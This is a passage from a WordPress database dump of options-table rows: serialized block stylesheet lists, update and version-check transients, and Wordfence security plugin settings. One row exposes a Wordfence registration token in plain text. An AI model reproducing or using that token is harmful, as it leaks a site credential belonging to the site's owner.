l.min.css\";i:206;s:15:\"group/theme.css\";i:207;s:19:\"group/theme.min.css\";i:208;s:21:\"heading/style-rtl.css\";i:209;s:25:\"heading/style-rtl.min.css\";i:210;s:17:\"heading/style.css\";i:211;s:21:\"heading/style.min.css\";i:212;s:19:\"html/editor-rtl.css\";i:213;s:23:\"html/editor-rtl.min.css\";i:214;s:15:\"html/editor.css\";i:215;s:19:\"html/editor.min.css\";i:216;s:20:\"image/editor-rtl.css\";i:217;s:24:\"image/editor-rtl.min.css\";i:218;s:16:\"image/editor.css\";i:219;s:20:\"image/editor.min.css\";i:220;s:19:\"image/style-rtl.css\";i:221;s:23:\"image/style-rtl.min.css\";i:222;s:15:\"image/style.css\";i:223;s:19:\"image/style.min.css\";i:224;s:19:\"image/theme-rtl.css\";i:225;s:23:\"image/theme-rtl.min.css\";i:226;s:15:\"image/theme.css\";i:227;s:19:\"image/theme.min.css\";i:228;s:29:\"latest-comments/style-rtl.css\";i:229;s:33:\"latest-comments/style-rtl.min.css\";i:230;s:25:\"latest-comments/style.css\";i:231;s:29:\"latest-comments/style.min.css\";i:232;s:27:\"latest-posts/editor-rtl.css\";i:233;s:31:\"latest-posts/editor-rtl.min.css\";i:234;s:23:\"latest-posts/editor.css\";i:235;s:27:\"latest-posts/editor.min.css\";i:236;s:26:\"latest-posts/style-rtl.css\";i:237;s:30:\"latest-posts/style-rtl.min.css\";i:238;s:22:\"latest-posts/style.css\";i:239;s:26:\"latest-posts/style.min.css\";i:240;s:18:\"list/style-rtl.css\";i:241;s:22:\"list/style-rtl.min.css\";i:242;s:14:\"list/style.css\";i:243;s:18:\"list/style.min.css\";i:244;s:22:\"loginout/style-rtl.css\";i:245;s:26:\"loginout/style-rtl.min.css\";i:246;s:18:\"loginout/style.css\";i:247;s:22:\"loginout/style.min.css\";i:248;s:19:\"math/editor-rtl.css\";i:249;s:23:\"math/editor-rtl.min.css\";i:250;s:15:\"math/editor.css\";i:251;s:19:\"math/editor.min.css\";i:252;s:18:\"math/style-rtl.css\";i:253;s:22:\"math/style-rtl.min.css\";i:254;s:14:\"math/style.css\";i:255;s:18:\"math/style.min.css\";i:256;s:25:\"media-text/editor-rtl.css\";i:257;s:29:\"media-text/editor-rtl.min.css\";i:258;s:21:\"media-text/editor.css\";i:259;s:25:\"media-text/editor.min.css\";i:260;s:24:\"media-text/style-rtl.css\";i:261;s:28:\"media-text/style-rtl.min.css\";i:262;s:20:\"media-text/style.css\";i:263;s:24:\"media-text/style.min.css\";i:264;s:19:\"more/editor-rtl.css\";i:265;s:23:\"more/editor-rtl.min.css\";i:266;s:15:\"more/editor.css\";i:267;s:19:\"more/editor.min.css\";i:268;s:30:\"navigation-link/editor-rtl.css\";i:269;s:34:\"navigation-link/editor-rtl.min.css\";i:270;s:26:\"navigation-link/editor.css\";i:271;s:30:\"navigation-link/editor.min.css\";i:272;s:29:\"navigation-link/style-rtl.css\";i:273;s:33:\"navigation-link/style-rtl.min.css\";i:274;s:25:\"navigation-link/style.css\";i:275;s:29:\"navigation-link/style.min.css\";i:276;s:33:\"navigation-submenu/editor-rtl.css\";i:277;s:37:\"navigation-submenu/editor-rtl.min.css\";i:278;s:29:\"navigation-submenu/editor.css\";i:279;s:33:\"navigation-submenu/editor.min.css\";i:280;s:25:\"navigation/editor-rtl.css\";i:281;s:29:\"navigation/editor-rtl.min.css\";i:282;s:21:\"navigation/editor.css\";i:283;s:25:\"navigation/editor.min.css\";i:284;s:24:\"navigation/style-rtl.css\";i:285;s:28:\"navigation/style-rtl.min.css\";i:286;s:20:\"navigation/style.css\";i:287;s:24:\"navigation/style.min.css\";i:288;s:23:\"nextpage/editor-rtl.css\";i:289;s:27:\"nextpage/editor-rtl.min.css\";i:290;s:19:\"nextpage/editor.css\";i:291;s:23:\"nextpage/editor.min.css\";i:292;s:24:\"page-list/editor-rtl.css\";i:293;s:28:\"page-list/editor-rtl.min.css\";i:294;s:20:\"page-list/editor.css\";i:295;s:24:\"page-list/editor.min.css\";i:296;s:23:\"page-list/style-rtl.css\";i:297;s:27:\"page-list/style-rtl.min.css\";i:298;s:19:\"page-list/style.css\";i:299;s:23:\"page-list/style.min.css\";i:300;s:24:\"paragraph/editor-rtl.css\";i:301;s:28:\"paragraph/editor-rtl.min.css\";i:302;s:20:\"paragraph/editor.css\";i:303;s:24:\"paragraph/editor.min.css\";i:304;s:23:\"paragraph/style-rtl.css\";i:305;s:27:\"paragraph/style-rtl.min.css\";i:306;s:19:\"paragraph/style.css\";i:307;s:23:\"paragraph/style.min.css\";i:308;s:35:\"post-author-biography/style-rtl.css\";i:309;s:39:\"post-author-biography/style-rtl.min.css\";i:310;s:31:\"post-author-biography/style.css\";i:311;s:35:\"post-author-biography/style.min.css\";i:312;s:30:\"post-author-name/style-rtl.css\";i:313;s:34:\"post-author-name/style-rtl.min.css\";i:314;s:26:\"post-author-name/style.css\";i:315;s:30:\"post-author-name/style.min.css\";i:316;s:25:\"post-author/style-rtl.css\";i:317;s:29:\"post-author/style-rtl.min.css\";i:318;s:21:\"post-author/style.css\";i:319;s:25:\"post-author/style.min.css\";i:320;s:33:\"post-comments-count/style-rtl.css\";i:321;s:37:\"post-comments-count/style-rtl.min.css\";i:322;s:29:\"post-comments-count/style.css\";i:323;s:33:\"post-comments-count/style.min.css\";i:324;s:33:\"post-comments-form/editor-rtl.css\";i:325;s:37:\"post-comments-form/editor-rtl.min.css\";i:326;s:29:\"post-comments-form/editor.css\";i:327;s:33:\"post-comments-form/editor.min.css\";i:328;s:32:\"post-comments-form/style-rtl.css\";i:329;s:36:\"post-comments-form/style-rtl.min.css\";i:330;s:28:\"post-comments-form/style.css\";i:331;s:32:\"post-comments-form/style.min.css\";i:332;s:32:\"post-comments-link/style-rtl.css\";i:333;s:36:\"post-comments-link/style-rtl.min.css\";i:334;s:28:\"post-comments-link/style.css\";i:335;s:32:\"post-comments-link/style.min.css\";i:336;s:26:\"post-content/style-rtl.css\";i:337;s:30:\"post-content/style-rtl.min.css\";i:338;s:22:\"post-content/style.css\";i:339;s:26:\"post-content/style.min.css\";i:340;s:23:\"post-date/style-rtl.css\";i:341;s:27:\"post-date/style-rtl.min.css\";i:342;s:19:\"post-date/style.css\";i:343;s:23:\"post-date/style.min.css\";i:344;s:27:\"post-excerpt/editor-rtl.css\";i:345;s:31:\"post-excerpt/editor-rtl.min.css\";i:346;s:23:\"post-excerpt/editor.css\";i:347;s:27:\"post-excerpt/editor.min.css\";i:348;s:26:\"post-excerpt/style-rtl.css\";i:349;s:30:\"post-excerpt/style-rtl.min.css\";i:350;s:22:\"post-excerpt/style.css\";i:351;s:26:\"post-excerpt/style.min.css\";i:352;s:34:\"post-featured-image/editor-rtl.css\";i:353;s:38:\"post-featured-image/editor-rtl.min.css\";i:354;s:30:\"post-featured-image/editor.css\";i:355;s:34:\"post-featured-image/editor.min.css\";i:356;s:33:\"post-featured-image/style-rtl.css\";i:357;s:37:\"post-featured-image/style-rtl.min.css\";i:358;s:29:\"post-featured-image/style.css\";i:359;s:33:\"post-featured-image/style.min.css\";i:360;s:34:\"post-navigation-link/style-rtl.css\";i:361;s:38:\"post-navigation-link/style-rtl.min.css\";i:362;s:30:\"post-navigation-link/style.css\";i:363;s:34:\"post-navigation-link/style.min.css\";i:364;s:27:\"post-template/style-rtl.css\";i:365;s:31:\"post-template/style-rtl.min.css\";i:366;s:23:\"post-template/style.css\";i:367;s:27:\"post-template/style.min.css\";i:368;s:24:\"post-terms/style-rtl.css\";i:369;s:28:\"post-terms/style-rtl.min.css\";i:370;s:20:\"post-terms/style.css\";i:371;s:24:\"post-terms/style.min.css\";i:372;s:31:\"post-time-to-read/style-rtl.css\";i:373;s:35:\"post-time-to-read/style-rtl.min.css\";i:374;s:27:\"post-time-to-read/style.css\";i:375;s:31:\"post-time-to-read/style.min.css\";i:376;s:24:\"post-title/style-rtl.css\";i:377;s:28:\"post-title/style-rtl.min.css\";i:378;s:20:\"post-title/style.css\";i:379;s:24:\"post-title/style.min.css\";i:380;s:26:\"preformatted/style-rtl.css\";i:381;s:30:\"preformatted/style-rtl.min.css\";i:382;s:22:\"preformatted/style.css\";i:383;s:26:\"preformatted/style.min.css\";i:384;s:24:\"pullquote/editor-rtl.css\";i:385;s:28:\"pullquote/editor-rtl.min.css\";i:386;s:20:\"pullquote/editor.css\";i:387;s:24:\"pullquote/editor.min.css\";i:388;s:23:\"pullquote/style-rtl.css\";i:389;s:27:\"pullquote/style-rtl.min.css\";i:390;s:19:\"pullquote/style.css\";i:391;s:23:\"pullquote/style.min.css\";i:392;s:23:\"pullquote/theme-rtl.css\";i:393;s:27:\"pullquote/theme-rtl.min.css\";i:394;s:19:\"pullquote/theme.css\";i:395;s:23:\"pullquote/theme.min.css\";i:396;s:39:\"query-pagination-numbers/editor-rtl.css\";i:397;s:43:\"query-pagination-numbers/editor-rtl.min.css\";i:398;s:35:\"query-pagination-numbers/editor.css\";i:399;s:39:\"query-pagination-numbers/editor.min.css\";i:400;s:31:\"query-pagination/editor-rtl.css\";i:401;s:35:\"query-pagination/editor-rtl.min.css\";i:402;s:27:\"query-pagination/editor.css\";i:403;s:31:\"query-pagination/editor.min.css\";i:404;s:30:\"query-pagination/style-rtl.css\";i:405;s:34:\"query-pagination/style-rtl.min.css\";i:406;s:26:\"query-pagination/style.css\";i:407;s:30:\"query-pagination/style.min.css\";i:408;s:25:\"query-title/style-rtl.css\";i:409;s:29:\"query-title/style-rtl.min.css\";i:410;s:21:\"query-title/style.css\";i:411;s:25:\"query-title/style.min.css\";i:412;s:25:\"query-total/style-rtl.css\";i:413;s:29:\"query-total/style-rtl.min.css\";i:414;s:21:\"query-total/style.css\";i:415;s:25:\"query-total/style.min.css\";i:416;s:20:\"query/editor-rtl.css\";i:417;s:24:\"query/editor-rtl.min.css\";i:418;s:16:\"query/editor.css\";i:419;s:20:\"query/editor.min.css\";i:420;s:19:\"quote/style-rtl.css\";i:421;s:23:\"quote/style-rtl.min.css\";i:422;s:15:\"quote/style.css\";i:423;s:19:\"quote/style.min.css\";i:424;s:19:\"quote/theme-rtl.css\";i:425;s:23:\"quote/theme-rtl.min.css\";i:426;s:15:\"quote/theme.css\";i:427;s:19:\"quote/theme.min.css\";i:428;s:23:\"read-more/style-rtl.css\";i:429;s:27:\"read-more/style-rtl.min.css\";i:430;s:19:\"read-more/style.css\";i:431;s:23:\"read-more/style.min.css\";i:432;s:18:\"rss/editor-rtl.css\";i:433;s:22:\"rss/editor-rtl.min.css\";i:434;s:14:\"rss/editor.css\";i:435;s:18:\"rss/editor.min.css\";i:436;s:17:\"rss/style-rtl.css\";i:437;s:21:\"rss/style-rtl.min.css\";i:438;s:13:\"rss/style.css\";i:439;s:17:\"rss/style.min.css\";i:440;s:21:\"search/editor-rtl.css\";i:441;s:25:\"search/editor-rtl.min.css\";i:442;s:17:\"search/editor.css\";i:443;s:21:\"search/editor.min.css\";i:444;s:20:\"search/style-rtl.css\";i:445;s:24:\"search/style-rtl.min.css\";i:446;s:16:\"search/style.css\";i:447;s:20:\"search/style.min.css\";i:448;s:20:\"search/theme-rtl.css\";i:449;s:24:\"search/theme-rtl.min.css\";i:450;s:16:\"search/theme.css\";i:451;s:20:\"search/theme.min.css\";i:452;s:24:\"separator/editor-rtl.css\";i:453;s:28:\"separator/editor-rtl.min.css\";i:454;s:20:\"separator/editor.css\";i:455;s:24:\"separator/editor.min.css\";i:456;s:23:\"separator/style-rtl.css\";i:457;s:27:\"separator/style-rtl.min.css\";i:458;s:19:\"separator/style.css\";i:459;s:23:\"separator/style.min.css\";i:460;s:23:\"separator/theme-rtl.css\";i:461;s:27:\"separator/theme-rtl.min.css\";i:462;s:19:\"separator/theme.css\";i:463;s:23:\"separator/theme.min.css\";i:464;s:24:\"shortcode/editor-rtl.css\";i:465;s:28:\"shortcode/editor-rtl.min.css\";i:466;s:20:\"shortcode/editor.css\";i:467;s:24:\"shortcode/editor.min.css\";i:468;s:24:\"site-logo/editor-rtl.css\";i:469;s:28:\"site-logo/editor-rtl.min.css\";i:470;s:20:\"site-logo/editor.css\";i:471;s:24:\"site-logo/editor.min.css\";i:472;s:23:\"site-logo/style-rtl.css\";i:473;s:27:\"site-logo/style-rtl.min.css\";i:474;s:19:\"site-logo/style.css\";i:475;s:23:\"site-logo/style.min.css\";i:476;s:27:\"site-tagline/editor-rtl.css\";i:477;s:31:\"site-tagline/editor-rtl.min.css\";i:478;s:23:\"site-tagline/editor.css\";i:479;s:27:\"site-tagline/editor.min.css\";i:480;s:26:\"site-tagline/style-rtl.css\";i:481;s:30:\"site-tagline/style-rtl.min.css\";i:482;s:22:\"site-tagline/style.css\";i:483;s:26:\"site-tagline/style.min.css\";i:484;s:25:\"site-title/editor-rtl.css\";i:485;s:29:\"site-title/editor-rtl.min.css\";i:486;s:21:\"site-title/editor.css\";i:487;s:25:\"site-title/editor.min.css\";i:488;s:24:\"site-title/style-rtl.css\";i:489;s:28:\"site-title/style-rtl.min.css\";i:490;s:20:\"site-title/style.css\";i:491;s:24:\"site-title/style.min.css\";i:492;s:26:\"social-link/editor-rtl.css\";i:493;s:30:\"social-link/editor-rtl.min.css\";i:494;s:22:\"social-link/editor.css\";i:495;s:26:\"social-link/editor.min.css\";i:496;s:27:\"social-links/editor-rtl.css\";i:497;s:31:\"social-links/editor-rtl.min.css\";i:498;s:23:\"social-links/editor.css\";i:499;s:27:\"social-links/editor.min.css\";i:500;s:26:\"social-links/style-rtl.css\";i:501;s:30:\"social-links/style-rtl.min.css\";i:502;s:22:\"social-links/style.css\";i:503;s:26:\"social-links/style.min.css\";i:504;s:21:\"spacer/editor-rtl.css\";i:505;s:25:\"spacer/editor-rtl.min.css\";i:506;s:17:\"spacer/editor.css\";i:507;s:21:\"spacer/editor.min.css\";i:508;s:20:\"spacer/style-rtl.css\";i:509;s:24:\"spacer/style-rtl.min.css\";i:510;s:16:\"spacer/style.css\";i:511;s:20:\"spacer/style.min.css\";i:512;s:20:\"table/editor-rtl.css\";i:513;s:24:\"table/editor-rtl.min.css\";i:514;s:16:\"table/editor.css\";i:515;s:20:\"table/editor.min.css\";i:516;s:19:\"table/style-rtl.css\";i:517;s:23:\"table/style-rtl.min.css\";i:518;s:15:\"table/style.css\";i:519;s:19:\"table/style.min.css\";i:520;s:19:\"table/theme-rtl.css\";i:521;s:23:\"table/theme-rtl.min.css\";i:522;s:15:\"table/theme.css\";i:523;s:19:\"table/theme.min.css\";i:524;s:24:\"tag-cloud/editor-rtl.css\";i:525;s:28:\"tag-cloud/editor-rtl.min.css\";i:526;s:20:\"tag-cloud/editor.css\";i:527;s:24:\"tag-cloud/editor.min.css\";i:528;s:23:\"tag-cloud/style-rtl.css\";i:529;s:27:\"tag-cloud/style-rtl.min.css\";i:530;s:19:\"tag-cloud/style.css\";i:531;s:23:\"tag-cloud/style.min.css\";i:532;s:28:\"template-part/editor-rtl.css\";i:533;s:32:\"template-part/editor-rtl.min.css\";i:534;s:24:\"template-part/editor.css\";i:535;s:28:\"template-part/editor.min.css\";i:536;s:27:\"template-part/theme-rtl.css\";i:537;s:31:\"template-part/theme-rtl.min.css\";i:538;s:23:\"template-part/theme.css\";i:539;s:27:\"template-part/theme.min.css\";i:540;s:24:\"term-count/style-rtl.css\";i:541;s:28:\"term-count/style-rtl.min.css\";i:542;s:20:\"term-count/style.css\";i:543;s:24:\"term-count/style.min.css\";i:544;s:30:\"term-description/style-rtl.css\";i:545;s:34:\"term-description/style-rtl.min.css\";i:546;s:26:\"term-description/style.css\";i:547;s:30:\"term-description/style.min.css\";i:548;s:23:\"term-name/style-rtl.css\";i:549;s:27:\"term-name/style-rtl.min.css\";i:550;s:19:\"term-name/style.css\";i:551;s:23:\"term-name/style.min.css\";i:552;s:28:\"term-template/editor-rtl.css\";i:553;s:32:\"term-template/editor-rtl.min.css\";i:554;s:24:\"term-template/editor.css\";i:555;s:28:\"term-template/editor.min.css\";i:556;s:27:\"term-template/style-rtl.css\";i:557;s:31:\"term-template/style-rtl.min.css\";i:558;s:23:\"term-template/style.css\";i:559;s:27:\"term-template/style.min.css\";i:560;s:27:\"text-columns/editor-rtl.css\";i:561;s:31:\"text-columns/editor-rtl.min.css\";i:562;s:23:\"text-columns/editor.css\";i:563;s:27:\"text-columns/editor.min.css\";i:564;s:26:\"text-columns/style-rtl.css\";i:565;s:30:\"text-columns/style-rtl.min.css\";i:566;s:22:\"text-columns/style.css\";i:567;s:26:\"text-columns/style.min.css\";i:568;s:19:\"verse/style-rtl.css\";i:569;s:23:\"verse/style-rtl.min.css\";i:570;s:15:\"verse/style.css\";i:571;s:19:\"verse/style.min.css\";i:572;s:20:\"video/editor-rtl.css\";i:573;s:24:\"video/editor-rtl.min.css\";i:574;s:16:\"video/editor.css\";i:575;s:20:\"video/editor.min.css\";i:576;s:19:\"video/style-rtl.css\";i:577;s:23:\"video/style-rtl.min.css\";i:578;s:15:\"video/style.css\";i:579;s:19:\"video/style.min.css\";i:580;s:19:\"video/theme-rtl.css\";i:581;s:23:\"video/theme-rtl.min.css\";i:582;s:15:\"video/theme.css\";i:583;s:19:\"video/theme.min.css\";}}','on'),
(305950,'can_compress_scripts','0','auto'),
(345308,'_site_transient_timeout_php_check_0260183cef5829810c63d4ec9ff87fd1','1789849303','off'),
(345309,'_site_transient_php_check_0260183cef5829810c63d4ec9ff87fd1','a:5:{s:19:\"recommended_version\";s:3:\"8.3\";s:15:\"minimum_version\";s:3:\"7.4\";s:12:\"is_supported\";b:0;s:9:\"is_secure\";b:0;s:13:\"is_acceptable\";b:0;}','off'),
(345317,'_site_transient_timeout_browser_a654d5eda172d96fed0476f4130cfab1','1789855837','off'),
(345318,'_site_transient_browser_a654d5eda172d96fed0476f4130cfab1','a:10:{s:4:\"name\";s:6:\"Chrome\";s:7:\"version\";s:9:\"153.0.0.0\";s:8:\"platform\";s:7:\"Windows\";s:10:\"update_url\";s:29:\"https://www.google.com/chrome\";s:7:\"img_src\";s:43:\"http://s.w.org/images/browsers/chrome.png?1\";s:11:\"img_src_ssl\";s:44:\"https://s.w.org/images/browsers/chrome.png?1\";s:15:\"current_version\";s:2:\"18\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;s:6:\"mobile\";b:0;}','off'),
(345325,'_site_transient_timeout_feed_d117b5738fbd35bd8c0391cda1f2b5d9','1789294239','off'),
(345332,'_site_transient_wp_plugin_dependencies_plugin_data','a:0:{}','off'),
(345339,'wordfence_ls_version','9.0.1','auto'),
(345340,'wfls_last_role_change','1789251104','off'),
(345341,'wordfence_version','9.0.1','auto'),
(345342,'wordfence_case','1','auto'),
(345343,'wordfence_installed','1','auto'),
(345344,'wordfenceActivated','1','auto'),
(345345,'wf_plugin_act_error','','auto'),
(345349,'_transient_timeout_wfRegistrationToken','1789337561','off'),
(345350,'_transient_wfRegistrationToken','ndX1G-P0lQWFCHeIc3xRXdouJ_ZsuS_yzG7Oi37HwGc','off'),
(345621,'_site_transient_update_core','O:8:\"stdClass\":4:{s:7:\"updates\";a:3:{i:0;O:8:\"stdClass\":10:{s:8:\"response\";s:7:\"upgrade\";s:8:\"download\";s:57:\"https://downloads.wordpress.org/release/wordpress-7.1.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:57:\"https://downloads.wordpress.org/release/wordpress-7.1.zip\";s:10:\"no_content\";s:68:\"https://downloads.wordpress.org/release/wordpress-7.1-no-content.zip\";s:11:\"new_bundled\";s:69:\"https://downloads.wordpress.org/release/wordpress-7.1-new-bundled.zip\";s:7:\"partial\";s:0:\"\";s:8:\"rollback\";s:0:\"\";}s:7:\"current\";s:3:\"7.1\";s:7:\"version\";s:3:\"7.1\";s:11:\"php_version\";s:3:\"7.4\";s:13:\"mysql_version\";s:5:\"5.5.5\";s:11:\"new_bundled\";s:3:\"6.7\";s:15:\"partial_version\";s:0:\"\";}i:1;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:49:\"https://downloads.w.org/release/wordpress-7.1.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:49:\"https://downloads.w.org/release/wordpress-7.1.zip\";s:10:\"no_content\";s:60:\"https://downloads.w.org/release/wordpress-7.1-no-content.zip\";s:11:\"new_bundled\";s:61:\"https://downloads.w.org/release/wordpress-7.1-new-bundled.zip\";s:7:\"partial\";s:0:\"\";s:8:\"rollback\";s:0:\"\";}s:7:\"current\";s:3:\"7.1\";s:7:\"version\";s:3:\"7.1\";s:11:\"php_version\";s:3:\"7.4\";s:13:\"mysql_version\";s:5:\"5.5.5\";s:11:\"new_bundled\";s:3:\"6.7\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}i:2;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:51:\"https://downloads.w.org/release/wordpress-7.0.4.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:51:\"https://downloads.w.org/release/wordpress-7.0.4.zip\";s:10:\"no_content\";s:62:\"https://downloads.w.org/release/wordpress-7.0.4-no-content.zip\";s:11:\"new_bundled\";s:63:\"https://downloads.w.org/release/wordpress-7.0.4-new-bundled.zip\";s:7:\"partial\";s:0:\"\";s:8:\"rollback\";s:0:\"\";}s:7:\"current\";s:5:\"7.0.4\";s:7:\"version\";s:5:\"7.0.4\";s:11:\"php_version\";s:3:\"7.4\";s:13:\"mysql_version\";s:5:\"5.5.5\";s:11:\"new_bundled\";s:3:\"6.7\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}}s:12:\"last_checked\";i:1789370858;s:15:\"version_checked\";s:5:\"6.9.7\";s:12:\"translations\";a:0:{}}','off'),
(345622,'_site_transient_update_plugins','O:8:\"stdClass\":5:{s:12:\"last_checked\";i:1789397718;s:8:\"response\";a:0:{}s:12:\"translations\";a:0:{}s:9:\"no_update\";a:5:{s:19:\"akismet/akismet.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:21:\"w.org/plugins/akismet\";s:4:\"slug\";s:7:\"akismet\";s:6:\"plugin\";s:19:\"akismet/akismet.php\";s:11:\"new_version\";s:5:\"5.7.2\";s:3:\"url\";s:38:\"https://wordpress.org/plugins/akismet/\";s:7:\"package\";s:56:\"https://downloads.wordpress.org/plugin/akismet.5.7.2.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:60:\"https://ps.w.org/akismet/assets/icon-256x256.png?rev=2818463\";s:2:\"1x\";s:60:\"https://ps.w.org/akismet/assets/icon-128x128.png?rev=2818463\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:63:\"https://ps.w.org/akismet/assets/banner-1544x500.png?rev=2900731\";s:2:\"1x\";s:62:\"https://ps.w.org/akismet/assets/banner-772x250.png?rev=2900731\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"5.8\";}s:66:\"header-footer-code-manager/99robots-header-footer-code-manager.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:40:\"w.org/plugins/header-footer-code-manager\";s:4:\"slug\";s:26:\"header-footer-code-manager\";s:6:\"plugin\";s:66:\"header-footer-code-manager/99robots-header-footer-code-manager.php\";s:11:\"new_version\";s:6:\"1.1.46\";s:3:\"url\";s:57:\"https://wordpress.org/plugins/header-footer-code-manager/\";s:7:\"package\";s:76:\"https://downloads.wordpress.org/plugin/header-footer-code-manager.1.1.46.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:79:\"https://ps.w.org/header-footer-code-manager/assets/icon-256x256.png?rev=2681303\";s:2:\"1x\";s:79:\"https://ps.w.org/header-footer-code-manager/assets/icon-128x128.png?rev=2681303\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:82:\"https://ps.w.org/header-footer-code-manager/assets/banner-1544x500.png?rev=2681303\";s:2:\"1x\";s:81:\"https://ps.w.org/header-footer-code-manager/assets/banner-772x250.png?rev=2681303\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"4.9\";}s:9:\"hello.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:25:\"w.org/plugins/hello-dolly\";s:4:\"slug\";s:11:\"hello-dolly\";s:6:\"plugin\";s:9:\"hello.php\";s:11:\"new_version\";s:5:\"1.7.2\";s:3:\"url\";s:42:\"https://wordpress.org/plugins/hello-dolly/\";s:7:\"package\";s:60:\"https://downloads.wordpress.org/plugin/hello-dolly.1.7.2.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:64:\"https://ps.w.org/hello-dolly/assets/icon-256x256.jpg?rev=2052855\";s:2:\"1x\";s:64:\"https://ps.w.org/hello-dolly/assets/icon-128x128.jpg?rev=2052855\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:67:\"https://ps.w.org/hello-dolly/assets/banner-1544x500.jpg?rev=2645582\";s:2:\"1x\";s:66:\"https://ps.w.org/hello-dolly/assets/banner-772x250.jpg?rev=2052855\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"4.6\";}s:23:\"loginizer/loginizer.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:23:\"w.org/plugins/loginizer\";s:4:\"slug\";s:9:\"loginizer\";s:6:\"plugin\";s:23:\"loginizer/loginizer.php\";s:11:\"new_version\";s:5:\"2.1.0\";s:3:\"url\";s:40:\"https://wordpress.org/plugins/loginizer/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/plugin/loginizer.2.1.0.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:62:\"https://ps.w.org/loginizer/assets/icon-256x256.png?rev=1381093\";s:2:\"1x\";s:62:\"https://ps.w.org/loginizer/assets/icon-128x128.png?rev=1381093\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:65:\"https://ps.w.org/loginizer/assets/banner-1544x500.png?rev=3131676\";s:2:\"1x\";s:64:\"https://ps.w.org/loginizer/assets/banner-772x250.png?rev=3131676\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"3.0\";}s:20:\"simpletoc/plugin.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:23:\"w.org/plugins/simpletoc\";s:4:\"slug\";s:9:\"simpletoc\";s:6:\"plugin\";s:20:\"simpletoc/plugin.php\";s:11:\"new_version\";s:5:\"7.3.0\";s:3:\"url\";s:40:\"https://wordpress.org/plugins/simpletoc/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/plugin/simpletoc.7.3.0.zip\";s:5:\"icons\";a:2:{s:2:\"1x\";s:54:\"https://ps.w.org/simpletoc/assets/icon.svg?rev=2796116\";s:3:\"svg\";s:54:\"https://ps.w.org/simpletoc/assets/icon.svg?rev=2796116\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:65:\"https://ps.w.org/simpletoc/assets/banner-1544x500.png?rev=2893800\";s:2:\"1x\";s:64:\"https://ps.w.org/simpletoc/assets/banner-772x250.png?rev=2893800\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"6.2\";}}s:7:\"checked\";a:5:{s:19:\"akismet/akismet.php\";s:5:\"5.7.2\";s:66:\"header-footer-code-manager/99robots-header-footer-code-manager.php\";s:6:\"1.1.46\";s:9:\"hello.php\";s:5:\"1.7.2\";s:23:\"loginizer/loginizer.php\";s:5:\"2.1.0\";s:20:\"simpletoc/plugin.php\";s:5:\"7.3.0\";}}','off'),
(345623,'_site_transient_update_themes','O:8:\"stdClass\":5:{s:12:\"last_checked\";i:1789397718;s:7:\"checked\";a:7:{s:14:\"twentynineteen\";s:3:\"3.4\";s:12:\"twentytwenty\";s:3:\"3.2\";s:16:\"twentytwentyfive\";s:3:\"1.5\";s:16:\"twentytwentyfour\";s:3:\"1.6\";s:15:\"twentytwentyone\";s:3:\"2.9\";s:17:\"twentytwentythree\";s:3:\"1.7\";s:15:\"twentytwentytwo\";s:3:\"2.2\";}s:8:\"response\";a:0:{}s:9:\"no_update\";a:7:{s:14:\"twentynineteen\";a:6:{s:5:\"theme\";s:14:\"twentynineteen\";s:11:\"new_version\";s:3:\"3.4\";s:3:\"url\";s:44:\"https://wordpress.org/themes/twentynineteen/\";s:7:\"package\";s:60:\"https://downloads.wordpress.org/theme/twentynineteen.3.4.zip\";s:8:\"requires\";s:3:\"4.7\";s:12:\"requires_php\";s:5:\"5.2.4\";}s:12:\"twentytwenty\";a:6:{s:5:\"theme\";s:12:\"twentytwenty\";s:11:\"new_version\";s:3:\"3.2\";s:3:\"url\";s:42:\"https://wordpress.org/themes/twentytwenty/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/theme/twentytwenty.3.2.zip\";s:8:\"requires\";s:3:\"4.7\";s:12:\"requires_php\";s:5:\"5.2.4\";}s:16:\"twentytwentyfive\";a:6:{s:5:\"theme\";s:16:\"twentytwentyfive\";s:11:\"new_version\";s:3:\"1.5\";s:3:\"url\";s:46:\"https://wordpress.org/themes/twentytwentyfive/\";s:7:\"package\";s:62:\"https://downloads.wordpress.org/theme/twentytwentyfive.1.5.zip\";s:8:\"requires\";s:3:\"6.7\";s:12:\"requires_php\";s:3:\"7.2\";}s:16:\"twentytwentyfour\";a:6:{s:5:\"theme\";s:16:\"twentytwentyfour\";s:11:\"new_version\";s:3:\"1.6\";s:3:\"url\";s:46:\"https://wordpress.org/themes/twentytwentyfour/\";s:7:\"package\";s:62:\"https://downloads.wordpress.org/theme/twentytwentyfour.1.6.zip\";s:8:\"requires\";s:3:\"6.4\";s:12:\"requires_php\";s:3:\"7.0\";}s:15:\"twentytwentyone\";a:6:{s:5:\"theme\";s:15:\"twentytwentyone\";s:11:\"new_version\";s:3:\"2.9